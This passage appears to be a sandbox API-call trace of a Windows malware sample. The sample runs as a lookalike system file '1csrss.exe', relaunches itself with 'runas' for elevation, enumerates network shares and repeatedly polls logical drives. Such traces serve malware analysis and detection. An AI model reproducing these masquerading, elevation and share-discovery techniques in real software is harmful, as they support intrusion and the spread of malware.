(HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x73cad0 [0271.036] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x73cad0, Size=0x20) returned 0x71e660 [0271.036] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77740000 [0271.036] GetProcAddress (hModule=0x77740000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77756b30 [0271.036] Wow64DisableWow64FsRedirection (in: OldValue=0x26fff20 | out: OldValue=0x26fff20*=0x0) returned 1 [0271.036] lstrlenW (lpString="kernel32.dll") returned 12 [0271.036] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x71e7c8 | out: hHeap=0x6e0000) returned 1 [0271.036] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0271.036] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x71e660 | out: hHeap=0x6e0000) returned 1 [0271.036] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x75af58, nSize=0x7fff | out: lpFilename="C:\\Windows\\System32\\1csrss.exe" (normalized: "c:\\windows\\system32\\1csrss.exe")) returned 0x1e [0271.036] ShellExecuteExW (in: pExecInfo=0x26fff2c*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Windows\\System32\\1csrss.exe", lpParameters="-a", lpDirectory=0x0, nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x26fff2c*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Windows\\System32\\1csrss.exe", lpParameters="-a", lpDirectory=0x0, nShow=1, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1 [0317.223] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x3f8ba88 [0317.223] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x3f8ba88, Size=0x20) returned 0x7ddfc0 [0317.223] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x3f8b800 [0317.223] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x3f8b800, Size=0x20) returned 0x7dde58 [0317.224] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77740000 [0317.224] GetProcAddress (hModule=0x77740000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77756b30 [0317.224] Wow64DisableWow64FsRedirection (in: OldValue=0x0 | out: OldValue=0x0) returned 0 [0317.238] lstrlenW (lpString="kernel32.dll") returned 12 [0317.238] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x7dde58 | out: hHeap=0x6e0000) returned 1 [0317.238] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0317.238] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x7ddfc0 | out: hHeap=0x6e0000) returned 1 [0317.238] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x75af58 | out: hHeap=0x6e0000) returned 1 [0317.238] lstrlenW (lpString="runas") returned 5 [0317.238] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x73cab8 | out: hHeap=0x6e0000) returned 1 [0317.239] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x0) returned 0x0 [0317.239] ReleaseMutex (hMutex=0x1ec) returned 1 [0317.239] Sleep (dwMilliseconds=0x1f4) [0317.876] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x0) returned 0x102 [0317.876] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x723af8 | out: hHeap=0x6e0000) returned 1 Thread: id = 44 os_tid = 0xe8c [0271.036] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x73fd00 [0271.037] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x73fd00, Size=0x20) returned 0x71e868 [0271.037] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x71e868, Size=0x40) returned 0x6f87a0 [0271.037] GetLogicalDrives () returned 0x4 [0271.037] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x76bf68 [0271.037] GetComputerNameW (in: lpBuffer=0x76bf6c, nSize=0x283ff64 | out: lpBuffer="NQDPDE", nSize=0x283ff64) returned 1 [0271.037] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1000) returned 0x743960 [0271.037] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x283ff34 | out: lphEnum=0x283ff34*=0x6f75c0) returned 0x0 [0271.038] WNetEnumResourceW (in: hEnum=0x6f75c0, lpcCount=0x283ff30, lpBuffer=0x743960, lpBufferSize=0x283ff38 | out: lpcCount=0x283ff30, lpBuffer=0x743960, lpBufferSize=0x283ff38) returned 0x103 [0271.038] WNetCloseEnum (hEnum=0x6f75c0) returned 0x0 [0271.039] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x283ff34 | out: lphEnum=0x283ff34*=0x6fa190) returned 0x0 [0271.291] WNetEnumResourceW (in: hEnum=0x6fa190, lpcCount=0x283ff30, lpBuffer=0x743960, lpBufferSize=0x283ff38 | out: lpcCount=0x283ff30, lpBuffer=0x743960, lpBufferSize=0x283ff38) returned 0x0 [0271.291] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1000) returned 0x746b90 [0271.291] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x743960, lphEnum=0x283ff08 | out: lphEnum=0x283ff08*=0x6f7700) returned 0x0 [0271.295] WNetEnumResourceW (in: hEnum=0x6f7700, lpcCount=0x283ff04, lpBuffer=0x746b90, lpBufferSize=0x283ff0c | out: lpcCount=0x283ff04, lpBuffer=0x746b90, lpBufferSize=0x283ff0c) returned 0x103 [0271.295] WNetCloseEnum (hEnum=0x6f7700) returned 0x0 [0271.295] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1000) returned 0x77bf70 [0271.295] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x743980, lphEnum=0x283ff08 | out: lphEnum=0x283ff08*=0x0) returned 0x4b8 [0285.783] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1000) returned 0x45bd030 [0285.783] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x7439a0, lphEnum=0x283ff08 | out: lphEnum=0x283ff08*=0x0) returned 0x4c6 [0287.210] WNetEnumResourceW (in: hEnum=0x6fa190, lpcCount=0x283ff30, lpBuffer=0x743960, lpBufferSize=0x283ff38 | out: lpcCount=0x283ff30, lpBuffer=0x743960, lpBufferSize=0x283ff38) returned 0x103 [0287.210] WNetCloseEnum (hEnum=0x6fa190) returned 0x0 [0287.210] GetLogicalDrives () returned 0x4 [0287.211] Sleep (dwMilliseconds=0x64) [0287.317] GetLogicalDrives () returned 0x4 [0287.317] Sleep (dwMilliseconds=0x64) [0287.430] GetLogicalDrives () returned 0x4 [0287.430] Sleep (dwMilliseconds=0x64) [0287.627] GetLogicalDrives () returned 0x4 [0287.627] Sleep (dwMilliseconds=0x64) [0288.168] GetLogicalDrives () returned 0x4 [0288.168] Sleep (dwMilliseconds=0x64) [0288.380] GetLogicalDrives () returned 0x4 [0288.380] Sleep (dwMilliseconds=0x64) [0288.521] GetLogicalDrives () returned 0x4 [0288.521] Sleep (dwMilliseconds=0x64) [0288.629] GetLogicalDrives () returned 0x4 [0288.630] Sleep (dwMilliseconds=0x64) [0288.739] GetLogicalDrives () returned 0x4 [0288.739] Sleep (dwMilliseconds=0x64) [0288.848] GetLogicalDrives () returned 0x4 [0288.848] Sleep (dwMilliseconds=0x64) [0289.007] GetLogicalDrives () returned 0x4 [0289.007] Sleep (dwMilliseconds=0x64) [0289.114] GetLogicalDrives () returned 0x4 [0289.114] Sleep (dwMilliseconds=0x64) [0289.223] GetLogicalDrives () returned 0x4 [0289.223] Sleep (dwMilliseconds=0x64) [0289.333] GetLogicalDrives () returned 0x4 [0289.333] Sleep (dwMilliseconds=0x64) [0289.442] GetLogicalDrives () returned 0x4 [0289.442] Sleep (dwMilliseconds=0x64) [0289.551] GetLogicalDrives () returned 0x4 [0289.551] Sleep (dwMilliseconds=0x64) [0289.676] GetLogicalDrives () returned 0x4 [0289.676] Sleep (dwMilliseconds=0x64) [0289.786] GetLogicalDrives () returned 0x4 [0289.786] Sleep (dwMilliseconds=0x64) [0289.895] GetLogicalDrives () returned 0x4 [0289.895] Sleep (dwMilliseconds=0x64) [0290.004] GetLogicalDrives () returned 0x4 [0290.005] Sleep (dwMilliseconds=0x64) [0290.114] GetLogicalDrives () returned 0x4 [0290.114] Sleep (dwMilliseconds=0x64) [0290.223] GetLogicalDrives () returned 0x4 [0290.223] Sleep (dwMilliseconds=0x64) [0290.333] GetLogicalDrives () returned 0x4 [0290.333] Sleep (dwMilliseconds=0x64) [0290.442] GetLogicalDrives () returned 0x4 [0290.442] Sleep (dwMilliseconds=0x64) [0290.557] GetLogicalDrives () returned 0x4 [0290.557] Sleep (dwMilliseconds=0x64) [0290.661] GetLogicalDrives () returned 0x4 [0290.661] Sleep (dwMilliseconds=0x64) [0290.770] GetLogicalDrives () returned 0x4 [0290.770] Sleep (dwMilliseconds=0x64) [0290.883] GetLogicalDrives () returned 0x4 [0290.883] Sleep (dwMilliseconds=0x64) [0291.083] GetLogicalDrives () returned 0x4 [0291.083] Sleep (dwMilliseconds=0x64) [0291.244] GetLogicalDrives () returned 0x4 [0291.244] Sleep (dwMilliseconds=0x64) [0291.349] GetLogicalDrives () returned 0x4 [0291.349] Sleep (dwMilliseconds=0x64) [0291.467] GetLogicalDrives () returned 0x4 [0291.467] Sleep (dwMilliseconds=0x64) [0291.600] GetLogicalDrives () returned 0x4 [0291.600] Sleep (dwMilliseconds=0x64) [0291.719] GetLogicalDrives () returned 0x4 [0291.719] Sleep (dwMilliseconds=0x64) [0291.833] GetLogicalDrives () returned 0x4 [0291.833] Sleep (dwMilliseconds=0x64) [0291.946] GetLogicalDrives () returned 0x4 [0291.946] Sleep (dwMilliseconds=0x64) [0292.051] GetLogicalDrives () returned 0x4 [0292.051] Sleep (dwMilliseconds=0x64) [0292.180] GetLogicalDrives () returned 0x4 [0292.180] Sleep (dwMilliseconds=0x64) [0292.312] GetLogicalDrives () returned 0x4 [0292.312] Sleep (dwMilliseconds=0x64) [0292.512] GetLogicalDrives () returned 0x4 [0292.512] Sleep (dwMilliseconds=0x64) [0292.703] GetLogicalDrives () returned 0x4 [0292.703] Sleep (dwMilliseconds=0x64) [0292.810] GetLogicalDrives () returned 0x4 [0292.810] Sleep (dwMilliseconds=0x64) [0292.930] GetLogicalDrives () returned 0x4 [0292.930] Sleep (dwMilliseconds=0x64) [0293.040] GetLogicalDrives () returned 0x4 [0293.040] Sleep (dwMilliseconds=0x64) [0293.230] GetLogicalDrives () returned 0x4 [0293.230] Sleep (dwMilliseconds=0x64) [0293.543] GetLogicalDrives () returned 0x4 [0293.543] Sleep (dwMilliseconds=0x64) [0293.679] GetLogicalDrives () returned 0x4 [0293.679] Sleep (dwMilliseconds=0x64) [0293.791] GetLogicalDrives () returned 0x4 [0293.791] Sleep (dwMilliseconds=0x64) [0293.900] GetLogicalDrives () returned 0x4 [0293.900] Sleep (dwMilliseconds=0x64) [0294.009] GetLogicalDrives () returned 0x4 [0294.009] Sleep (dwMilliseconds=0x64) [0294.123] GetLogicalDrives () returned 0x4 [0294.123] Sleep (dwMilliseconds=0x64) [0294.285] GetLogicalDrives () returned 0x4 [0294.285] Sleep (dwMilliseconds=0x64) [0294.498] GetLogicalDrives () returned 0x4 [0294.498] Sleep (dwMilliseconds=0x64) [0294.603] GetLogicalDrives () returned 0x4 [0294.603] Sleep (dwMilliseconds=0x64) [0294.883] GetLogicalDrives () returned 0x4 [0294.883] Sleep (dwMilliseconds=0x64) [0294.994] GetLogicalDrives () returned 0x4 [0294.994] Sleep (dwMilliseconds=0x64) [0295.222] GetLogicalDrives () returned 0x4 [0295.222] Sleep (dwMilliseconds=0x64) [0295.337] GetLogicalDrives () returned 0x4 [0295.337] Sleep (dwMilliseconds=0x64) [0295.462] GetLogicalDrives () returned 0x4 [0295.462] Sleep (dwMilliseconds=0x64) [0295.572] GetLogicalDrives () returned 0x4 [0295.572] Sleep (dwMilliseconds=0x64) [0295.683] GetLogicalDrives () returned 0x4 [0295.683] Sleep (dwMilliseconds=0x64) [0295.855] GetLogicalDrives () returned 0x4 [0295.856] Sleep (dwMilliseconds=0x64) [0296.262] GetLogicalDrives () returned 0x4 [0296.262] Sleep (dwMilliseconds=0x64) [0296.537] GetLogicalDrives () returned 0x4 [0296.537] Sleep (dwMilliseconds=0x64) [0296.643] GetLogicalDrives () returned 0x4 [0296.643] Sleep (dwMilliseconds=0x64) [0296.778] GetLogicalDrives () returned 0x4 [0296.778] Sleep (dwMilliseconds=0x64) [0296.893] GetLogicalDrives () returned 0x4 [0296.893] Sleep (dwMilliseconds=0x64) [0297.002] GetLogicalDrives () returned 0x4 [0297.002] Sleep (dwMilliseconds=0x64) [0297.126] GetLogicalDrives () returned 0x4 [0297.126] Sleep (dwMilliseconds=0x64) [0297.236] GetLogicalDrives () returned 0x4 [0297.236] Sleep (dwMilliseconds=0x64) [0297.346] GetLogicalDrives () returned 0x4 [0297.346] Sleep (dwMilliseconds=0x64) [0297.506] GetLogicalDrives () returned 0x4 [0297.506] Sleep (dwMilliseconds=0x64) [0297.660] GetLogicalDrives () returned 0x4 [0297.660] Sleep (dwMilliseconds=0x64) [0297.768] GetLogicalDrives () returned 0x4 [0297.768] Sleep (dwMilliseconds=0x64) [0297.877] GetLogicalDrives () returned 0x4 [0297.877] Sleep (dwMilliseconds=0x64) [0297.987] GetLogicalDrives () returned 0x4 [0297.987] Sleep (dwMilliseconds=0x64) [0298.096] GetLogicalDrives () returned 0x4 [0298.096] Sleep (dwMilliseconds=0x64) [0298.233] GetLogicalDrives () returned 0x4 [0298.233] Sleep (dwMilliseconds=0x64) [0298.357] GetLogicalDrives () returned 0x4 [0298.357] Sleep (dwMilliseconds=0x64) [0298.509] GetLogicalDrives () returned 0x4 [0298.509] Sleep (dwMilliseconds=0x64) [0298.619] GetLogicalDrives () returned 0x4 [0298.619] Sleep (dwMilliseconds=0x64) [0298.773] GetLogicalDrives () returned 0x4 [0298.773] Sleep (dwMilliseconds=0x64) [0298.907] GetLogicalDrives () returned 0x4 [0298.907] Sleep (dwMilliseconds=0x64) [0299.018] GetLogicalDrives () returned 0x4 [0299.018] Sleep (dwMilliseconds=0x64) [0299.229] GetLogicalDrives () returned 0x4 [0299.229] Sleep (dwMilliseconds=0x64) [0299.332] GetLogicalDrives () returned 0x4 [0299.332] Sleep (dwMilliseconds=0x64) [0299.549] GetLogicalDrives () returned 0x4 [0299.549] Sleep (dwMilliseconds=0x64) [0299.674] GetLogicalDrives () returned 0x4 [0299.674] Sleep (dwMilliseconds=0x64) [0299.794] GetLogicalDrives () returned 0x4 [0299.794] Sleep (dwMilliseconds=0x64) [0299.926] GetLogicalDrives () returned 0x4 [0299.926] Sleep (dwMilliseconds=0x64) [0300.034] GetLogicalDrives () returned 0x4 [0300.034] Sleep (dwMilliseconds=0x64) [0300.177] GetLogicalDrives () returned 0x4 [0300.177] Sleep (dwMilliseconds=0x64) [0300.284] GetLogicalDrives () returned 0x4 [0300.284] Sleep (dwMilliseconds=0x64) [0300.393] GetLogicalDrives () returned 0x4 [0300.393] Sleep (dwMilliseconds=0x64) [0300.502] GetLogicalDrives () returned 0x4 [0300.502] Sleep (dwMilliseconds=0x64) [0300.688] GetLogicalDrives () returned 0x4 [0300.688] Sleep (dwMilliseconds=0x64) [0300.873] GetLogicalDrives () returned 0x4 [0300.873] Sleep (dwMilliseconds=0x64) [0301.061] GetLogicalDrives () returned 0x4 [0301.061] Sleep (dwMilliseconds=0x64) [0301.174] GetLogicalDrives () returned 0x4 [0301.174] Sleep (dwMilliseconds=0x64) [0301.284] GetLogicalDrives () returned 0x4 [0301.284] Sleep (dwMilliseconds=0x64) [0301.393] GetLogicalDrives () returned 0x4 [0301.393] Sleep (dwMilliseconds=0x64) [0301.531] GetLogicalDrives () returned 0x4 [0301.531] Sleep (dwMilliseconds=0x64) [0301.700] GetLogicalDrives () returned 0x4 [0301.700] Sleep (dwMilliseconds=0x64) [0301.835] GetLogicalDrives () returned 0x4 [0301.835] Sleep (dwMilliseconds=0x64) [0301.992] GetLogicalDrives () returned 0x4 [0301.993] Sleep (dwMilliseconds=0x64) [0302.118] GetLogicalDrives () returned 0x4 [0302.118] Sleep (dwMilliseconds=0x64) [0302.249] GetLogicalDrives () returned 0x4 [0302.249] Sleep (dwMilliseconds=0x64) [0302.419] GetLogicalDrives () returned 0x4 [0302.419] Sleep (dwMilliseconds=0x64) [0302.558] GetLogicalDrives () returned 0x4 [0302.558] Sleep (dwMilliseconds=0x64) [0302.698] GetLogicalDrives () returned 0x4 [0302.699] Sleep (dwMilliseconds=0x64) [0302.825] GetLogicalDrives () returned 0x4 [0302.825] Sleep (dwMilliseconds=0x64) [0302.967] GetLogicalDrives () returned 0x4 [0302.967] Sleep (dwMilliseconds=0x64) [0303.078] GetLogicalDrives () returned 0x4 [0303.078] Sleep (dwMilliseconds=0x64) [0303.198] GetLogicalDrives () returned 0x4 [0303.198] Sleep (dwMilliseconds=0x64) [0303.309] GetLogicalDrives () returned 0x4 [0303.310] Sleep (dwMilliseconds=0x64) [0303.431] GetLogicalDrives () returned 0x4 [0303.431] Sleep (dwMilliseconds=0x64) [0303.553] GetLogicalDrives () returned 0x4 [0303.553] Sleep (dwMilliseconds=0x64) [0303.666] GetLogicalDrives () returned 0x4 [0303.666] Sleep (dwMilliseconds=0x64) [0303.781] GetLogicalDrives () returned 0x4 [0303.782] Sleep (dwMilliseconds=0x64) [0303.897] GetLogicalDrives () returned 0x4 [0303.897] Sleep (dwMilliseconds=0x64) [0304.007] GetLogicalDrives () returned 0x4 [0304.007] Sleep (dwMilliseconds=0x64) [0304.139] GetLogicalDrives () returned 0x4 [0304.139] Sleep (dwMilliseconds=0x64) [0304.251] GetLogicalDrives () returned 0x4 [0304.251] Sleep (dwMilliseconds=0x64) [0304.367] GetLogicalDrives () returned 0x4 [0304.367] Sleep (dwMilliseconds=0x64) [0304.482] GetLogicalDrives () returned 0x4 [0304.482] Sleep (dwMilliseconds=0x64) [0304.598] GetLogicalDrives () returned 0x4 [0304.598] Sleep (dwMilliseconds=0x64) [0304.713] GetLogicalDrives () returned 0x4 [0304.713] Sleep (dwMilliseconds=0x64) [0304.835] GetLogicalDrives () returned 0x4 [0304.835] Sleep (dwMilliseconds=0x64) [0304.951] GetLogicalDrives () returned 0x4 [0304.951] Sleep (dwMilliseconds=0x64) [0305.067] GetLogicalDrives () returned 0x4 [0305.067] Sleep (dwMilliseconds=0x64) [0305.168] GetLogicalDrives () returned 0x4 [0305.168] Sleep (dwMilliseconds=0x64) [0305.283] GetLogicalDrives () returned 0x4 [0305.283] Sleep (dwMilliseconds=0x64) [0305.383] GetLogicalDrives () returned 0x4 [0305.383] Sleep (dwMilliseconds=0x64) [0305.518] GetLogicalDrives () returned 0x4 [0305.518] Sleep (dwMilliseconds=0x64) [0305.652] GetLogicalDrives () returned 0x4 [0305.652] Sleep (dwMilliseconds=0x64) [0305.822] GetLogicalDrives () returned 0x4 [0305.822] Sleep (dwMilliseconds=0x64) [0305.934] GetLogicalDrives () returned 0x4 [0305.934] Sleep (dwMilliseconds=0x64) [0306.050] GetLogicalDrives () returned 0x4 [0306.050] Sleep (dwMilliseconds=0x64) [0306.170] GetLogicalDrives () returned 0x4 [0306.170] Sleep (dwMilliseconds=0x64) [0306.280] GetLogicalDrives () returned 0x4 [0306.281] Sleep (dwMilliseconds=0x64) [0306.396] GetLogicalDrives () returned 0x4 [0306.396] Sleep (dwMilliseconds=0x64) [0306.552] GetLogicalDrives () returned 0x4 [0306.552] Sleep (dwMilliseconds=0x64) [0306.681] GetLogicalDrives () returned 0x4 [0306.681] Sleep (dwMilliseconds=0x64) [0306.796] GetLogicalDrives () returned 0x4 [0306.796] Sleep (dwMilliseconds=0x64) [0306.897] GetLogicalDrives () returned 0x4 [0306.897] Sleep (dwMilliseconds=0x64) [0307.026] GetLogicalDrives () returned 0x4 [0307.026] Sleep (dwMilliseconds=0x64) [0307.129] GetLogicalDrives () returned 0x4 [0307.129] Sleep (dwMilliseconds=0x64) [0307.275] GetLogicalDrives () returned 0x4 [0307.275] Sleep (dwMilliseconds=0x64) [0307.429] GetLogicalDrives () returned 0x4 [0307.429] Sleep (dwMilliseconds=0x64) [0307.623] GetLogicalDrives () returned 0x4 [0307.623] Sleep (dwMilliseconds=0x64) [0307.756] GetLogicalDrives () returned 0x4 [0307.756] Sleep (dwMilliseconds=0x64) [0307.879] GetLogicalDrives () returned 0x4 [0307.879] Sleep (dwMilliseconds=0x64) [0308.011] GetLogicalDrives () returned 0x4 [0308.011] Sleep (dwMilliseconds=0x64) [0308.138] GetLogicalDrives () returned 0x4 [0308.138] Sleep (dwMilliseconds=0x64) [0308.276] GetLogicalDrives () returned 0x4 [0308.276] Sleep (dwMilliseconds=0x64) [0308.466] GetLogicalDrives () returned 0x4 [0308.466] Sleep (dwMilliseconds=0x64) [0308.583] GetLogicalDrives () returned 0x4 [0308.583] Sleep (dwMilliseconds=0x64) [0308.718] GetLogicalDrives () returned 0x4 [0308.718] Sleep (dwMilliseconds=0x64) [0308.843] GetLogicalDrives () returned 0x4 [0308.844] Sleep (dwMilliseconds=0x64) [0309.182] GetLogicalDrives () returned 0x4 [0309.182] Sleep (dwMilliseconds=0x64) [0309.320] GetLogicalDrives () returned 0x4 [0309.320] Sleep (dwMilliseconds=0x64) [0309.428] GetLogicalDrives () returned 0x4 [0309.428] Sleep (dwMilliseconds=0x64) [0309.551] GetLogicalDrives () returned 0x4 [0309.551] Sleep (dwMilliseconds=0x64) [0309.654] GetLogicalDrives () returned 0x4 [0309.654] Sleep (dwMilliseconds=0x64) [0309.761] GetLogicalDrives () returned 0x4 [0309.761] Sleep (dwMilliseconds=0x64) [0309.893] GetLogicalDrives () returned 0x4 [0309.893] Sleep (dwMilliseconds=0x64) [0309.993] GetLogicalDrives () returned 0x4 [0309.993] Sleep (dwMilliseconds=0x64) [0310.102] GetLogicalDrives () returned 0x4 [0310.102] Sleep (dwMilliseconds=0x64) [0310.216] GetLogicalDrives () returned 0x4 [0310.216] Sleep (dwMilliseconds=0x64) [0310.324] GetLogicalDrives () returned 0x4 [0310.324] Sleep (dwMilliseconds=0x64) [0310.433] GetLogicalDrives () returned 0x4 [0310.433] Sleep (dwMilliseconds=0x64) [0310.541] GetLogicalDrives () returned 0x4 [0310.541] Sleep (dwMilliseconds=0x64) [0310.650] GetLogicalDrives () returned 0x4 [0310.650] Sleep (dwMilliseconds=0x64) [0310.758] GetLogicalDrives () returned 0x4 [0310.758] Sleep (dwMilliseconds=0x64) [0310.867] GetLogicalDrives () returned 0x4 [0310.867] Sleep (dwMilliseconds=0x64) [0312.337] GetLogicalDrives () returned 0x4 [0312.337] Sleep (dwMilliseconds=0x64) [0312.526] GetLogicalDrives () returned 0x4 [0312.526] Sleep (dwMilliseconds=0x64) [0312.660] GetLogicalDrives () returned 0x4 [0312.660] Sleep (dwMilliseconds=0x64) [0312.785] GetLogicalDrives () returned 0x4 [0312.785] Sleep (dwMilliseconds=0x64) [0312.923] GetLogicalDrives () returned 0x4 [0312.923] Sleep (dwMilliseconds=0x64) [0313.035] GetLogicalDrives () returned 0x4 [0313.035] Sleep (dwMilliseconds=0x64) [0313.155] GetLogicalDrives () returned 0x4 [0313.155] Sleep (dwMilliseconds=0x64) [0313.259] GetLogicalDrives () returned 0x4 [0313.259] Sleep (dwMilliseconds=0x64) [0313.413] GetLogicalDrives () returned 0x4 [0313.413] Sleep (dwMilliseconds=0x64) [0313.522] GetLogicalDrives () returned 0x4 [0313.522] Sleep (dwMilliseconds=0x64) [0313.636] GetLogicalDrives () returned 0x4 [0313.636] Sleep (dwMilliseconds=0x64) [0313.745] GetLogicalDrives () returned 0x4 [0313.745] Sleep (dwMilliseconds=0x64) [0313.884] GetLogicalDrives () returned 0x4 [0313.884] Sleep (dwMilliseconds=0x64) [0313.995] GetLogicalDrives () returned 0x4 [0313.995] Sleep (dwMilliseconds=0x64) [0314.123] GetLogicalDrives () returned 0x4 [0314.123] Sleep (dwMilliseconds=0x64) [0314.229] GetLogicalDrives () returned 0x4 [0314.229] Sleep (dwMilliseconds=0x64) [0314.357] GetLogicalDrives () returned 0x4 [0314.357] Sleep (dwMilliseconds=0x64) [0314.497] GetLogicalDrives () returned 0x4 [0314.497] Sleep (dwMilliseconds=0x64) [0314.604] GetLogicalDrives () returned 0x4 [0314.604] Sleep (dwMilliseconds=0x64) [0314.714] GetLogicalDrives () returned 0x4 [0314.714] Sleep (dwMilliseconds=0x64) [0314.823] GetLogicalDrives () returned 0x4 [0314.823] Sleep (dwMilliseconds=0x64) [0314.940] GetLogicalDrives () returned 0x4 [0314.940] Sleep (dwMilliseconds=0x64) [0315.154] GetLogicalDrives () returned 0x4 [0315.154] Sleep (dwMilliseconds=0x64) [0315.261] GetLogicalDrives () returned 0x4 [0315.261] Sleep (dwMilliseconds=0x64) [0315.370] GetLogicalDrives () returned 0x4 [0315.370] Sleep (dwMilliseconds=0x64) [0315.483] GetLogicalDrives () returned 0x4 [0315.483] Sleep (dwMilliseconds=0x64) [0315.608] GetLogicalDrives () returned 0x4 [0315.608] Sleep (dwMilliseconds=0x64) [0315.714] GetLogicalDrives () returned 0x4 [0315.714] Sleep (dwMilliseconds=0x64) [0315.856] GetLogicalDrives () returned 0x4 [0315.856] Sleep (dwMilliseconds=0x64) [0316.011] GetLogicalDrives () returned 0x4 [0316.011] Sleep (dwMilliseconds=0x64) [0316.145] GetLogicalDrives () returned 0x4 [0316.145] Sleep (dwMilliseconds=0x64) [0316.275] GetLogicalDrives () returned 0x4 [0316.275] Sleep (dwMilliseconds=0x64) [0316.459] GetLogicalDrives () returned 0x4 [0316.459] Sleep (dwMilliseconds=0x64) [0316.576] GetLogicalDrives () returned 0x4 [0316.576] Sleep (dwMilliseconds=0x64) [0316.686] GetLogicalDrives () returned 0x4 [0316.686] Sleep (dwMilliseconds=0x64) [0316.799] GetLogicalDrives () returned 0x4 [0316.799] Sleep (dwMilliseconds=0x64) [0316.996] GetLogicalDrives () returned 0x4 [0316.996] Sleep (dwMilliseconds=0x64) [0317.104] GetLogicalDrives () returned 0x4 [0317.104] Sleep (dwMilliseconds=0x64) [0317.374] GetLogicalDrives () returned 0x4 [0317.374] Sleep (dwMilliseconds=0x64) [0317.512] GetLogicalDrives () returned 0x4 [0317.513] Sleep (dwMilliseconds=0x64) [0317.630] GetLogicalDrives () returned 0x4 [0317.630] Sleep (dwMilliseconds=0x64) [0317.876] GetLogicalDrives () returned 0x4 [0317.876] Sleep (dwMilliseconds=0x64) [0318.159] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0318.159] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x6f87a0 | out: hHeap=0x6e0000) returned 1 Thread: id = 45 os_tid = 0xe90 [0271.293] GetTickCount () returned 0x1f9fb [0271.293] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x24) returned 0x744c98 [0271.293] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x744c98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2bc [0271.293] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x744c98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c0 [0271.293] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x744c98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c4 [0271.294] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x744c98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c8 [0271.294] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x73ff88 [0271.294] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x73ff88, Size=0x20) returned 0x71e570 [0271.294] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x73ff88 [0271.294] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x73ff88, Size=0x20) returned 0x71eae8 [0271.295] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77740000 [0271.295] GetProcAddress (hModule=0x77740000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77756b30 [0271.295] Wow64DisableWow64FsRedirection (in: OldValue=0x297ff7c | out: OldValue=0x297ff7c*=0x0) returned 1 [0271.295] lstrlenW (lpString="kernel32.dll") returned 12 [0271.295] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x71e570 | out: 